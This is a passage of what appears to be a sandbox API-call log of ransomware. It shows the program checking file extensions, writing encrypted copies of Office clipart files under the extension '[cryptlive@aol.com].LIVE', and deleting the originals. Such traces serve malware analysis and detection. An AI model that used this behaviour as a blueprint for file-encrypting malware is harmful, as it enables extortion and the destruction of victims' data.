(lpString1=".pdf", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString=".xls") returned 4 [0145.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.325] lstrlenW (lpString=".xlsx") returned 5 [0145.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.325] lstrlenW (lpString=".ppt") returned 4 [0145.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".zip") returned 4 [0145.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.325] lstrlenW (lpString=".rar") returned 4 [0145.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString=".bz2") returned 4 [0145.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString=".7z") returned 3 [0145.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".dbf") returned 4 [0145.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.325] lstrlenW (lpString=".1cd") returned 4 [0145.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0145.326] lstrlenW (lpString=".jpg") returned 4 [0145.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.326] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.326] lstrlenW (lpString="HH00057_.WMF") returned 12 [0145.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.614] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3764) returned 1 [0145.614] CloseHandle (hObject=0x3a8) returned 1 [0145.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0145.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.614] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.614] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0145.885] GetLastError () returned 0x0 [0145.885] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xeb4, lpOverlapped=0x0) returned 1 [0145.886] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0145.887] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.887] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.887] SetEndOfFile (hFile=0x1ec) returned 1 [0145.887] CloseHandle (hObject=0x1ec) returned 1 [0145.888] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.888] SetEndOfFile (hFile=0x3a8) returned 1 [0145.890] CloseHandle (hObject=0x3a8) returned 1 [0145.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0145.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.891] lstrlenW (lpString=".doc") returned 4 [0145.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.891] lstrlenW (lpString=".docx") returned 5 [0145.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.891] lstrlenW (lpString=".pdf") returned 4 [0145.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.891] lstrlenW (lpString=".xls") returned 4 [0145.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.891] lstrlenW (lpString=".xlsx") returned 5 [0145.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.892] lstrlenW (lpString=".ppt") returned 4 [0145.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString=".zip") returned 4 [0145.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.892] lstrlenW (lpString=".rar") returned 4 [0145.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString=".bz2") returned 4 [0145.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString=".7z") returned 3 [0145.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString=".dbf") returned 4 [0145.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString=".1cd") returned 4 [0145.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString=".jpg") returned 4 [0145.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.892] lstrlenW (lpString=".doc") returned 4 [0145.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString=".docx") returned 5 [0145.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.892] lstrlenW (lpString=".pdf") returned 4 [0145.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.892] lstrlenW (lpString=".xls") returned 4 [0145.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.892] lstrlenW (lpString=".xlsx") returned 5 [0145.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.892] lstrlenW (lpString=".ppt") returned 4 [0145.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.893] lstrlenW (lpString=".zip") returned 4 [0145.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.893] lstrlenW (lpString=".rar") returned 4 [0145.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString=".bz2") returned 4 [0145.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString=".7z") returned 3 [0145.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.893] lstrlenW (lpString=".dbf") returned 4 [0145.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.893] lstrlenW (lpString=".1cd") returned 4 [0145.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0145.893] lstrlenW (lpString=".jpg") returned 4 [0145.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.893] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.893] lstrlenW (lpString="HH00623_.WMF") returned 12 [0145.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.894] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10644) returned 1 [0145.894] CloseHandle (hObject=0x3a8) returned 1 [0145.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0145.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.894] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.894] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0145.895] GetLastError () returned 0x0 [0145.895] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2994, lpOverlapped=0x0) returned 1 [0145.896] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.898] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.898] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.898] SetEndOfFile (hFile=0x1ec) returned 1 [0145.898] CloseHandle (hObject=0x1ec) returned 1 [0145.898] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.898] SetEndOfFile (hFile=0x3a8) returned 1 [0145.900] CloseHandle (hObject=0x3a8) returned 1 [0145.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0145.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.901] lstrlenW (lpString=".doc") returned 4 [0145.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.901] lstrlenW (lpString=".docx") returned 5 [0145.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.902] lstrlenW (lpString=".pdf") returned 4 [0145.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString=".xls") returned 4 [0145.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.902] lstrlenW (lpString=".xlsx") returned 5 [0145.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.902] lstrlenW (lpString=".ppt") returned 4 [0145.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.902] lstrlenW (lpString=".zip") returned 4 [0145.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.902] lstrlenW (lpString=".rar") returned 4 [0145.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString=".bz2") returned 4 [0145.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString=".7z") returned 3 [0145.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.902] lstrlenW (lpString=".dbf") returned 4 [0145.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.902] lstrlenW (lpString=".1cd") returned 4 [0145.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.902] lstrlenW (lpString=".jpg") returned 4 [0145.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString=".doc") returned 4 [0145.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString=".docx") returned 5 [0145.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.903] lstrlenW (lpString=".pdf") returned 4 [0145.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString=".xls") returned 4 [0145.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.903] lstrlenW (lpString=".xlsx") returned 5 [0145.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.903] lstrlenW (lpString=".ppt") returned 4 [0145.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString=".zip") returned 4 [0145.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.903] lstrlenW (lpString=".rar") returned 4 [0145.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString=".bz2") returned 4 [0145.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString=".7z") returned 3 [0145.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString=".dbf") returned 4 [0145.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString=".1cd") returned 4 [0145.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0145.903] lstrlenW (lpString=".jpg") returned 4 [0145.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.904] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.904] lstrlenW (lpString="HH00625_.WMF") returned 12 [0145.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.904] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2116) returned 1 [0145.904] CloseHandle (hObject=0x3a8) returned 1 [0145.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0145.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.905] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.905] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0145.907] GetLastError () returned 0x0 [0145.907] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x844, lpOverlapped=0x0) returned 1 [0145.908] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x850, lpOverlapped=0x0) returned 1 [0145.909] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.909] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.909] SetEndOfFile (hFile=0x1ec) returned 1 [0145.910] CloseHandle (hObject=0x1ec) returned 1 [0145.910] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.910] SetEndOfFile (hFile=0x3a8) returned 1 [0145.912] CloseHandle (hObject=0x3a8) returned 1 [0145.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.913] lstrlenW (lpString=".doc") returned 4 [0145.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".docx") returned 5 [0145.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.913] lstrlenW (lpString=".pdf") returned 4 [0145.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".xls") returned 4 [0145.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.913] lstrlenW (lpString=".xlsx") returned 5 [0145.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.913] lstrlenW (lpString=".ppt") returned 4 [0145.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.913] lstrlenW (lpString=".zip") returned 4 [0145.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.913] lstrlenW (lpString=".rar") returned 4 [0145.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".bz2") returned 4 [0145.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.913] lstrlenW (lpString=".7z") returned 3 [0145.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.913] lstrlenW (lpString=".dbf") returned 4 [0145.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString=".1cd") returned 4 [0145.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString=".jpg") returned 4 [0145.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString=".doc") returned 4 [0145.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".docx") returned 5 [0145.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.914] lstrlenW (lpString=".pdf") returned 4 [0145.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".xls") returned 4 [0145.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.914] lstrlenW (lpString=".xlsx") returned 5 [0145.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.914] lstrlenW (lpString=".ppt") returned 4 [0145.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString=".zip") returned 4 [0145.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.914] lstrlenW (lpString=".rar") returned 4 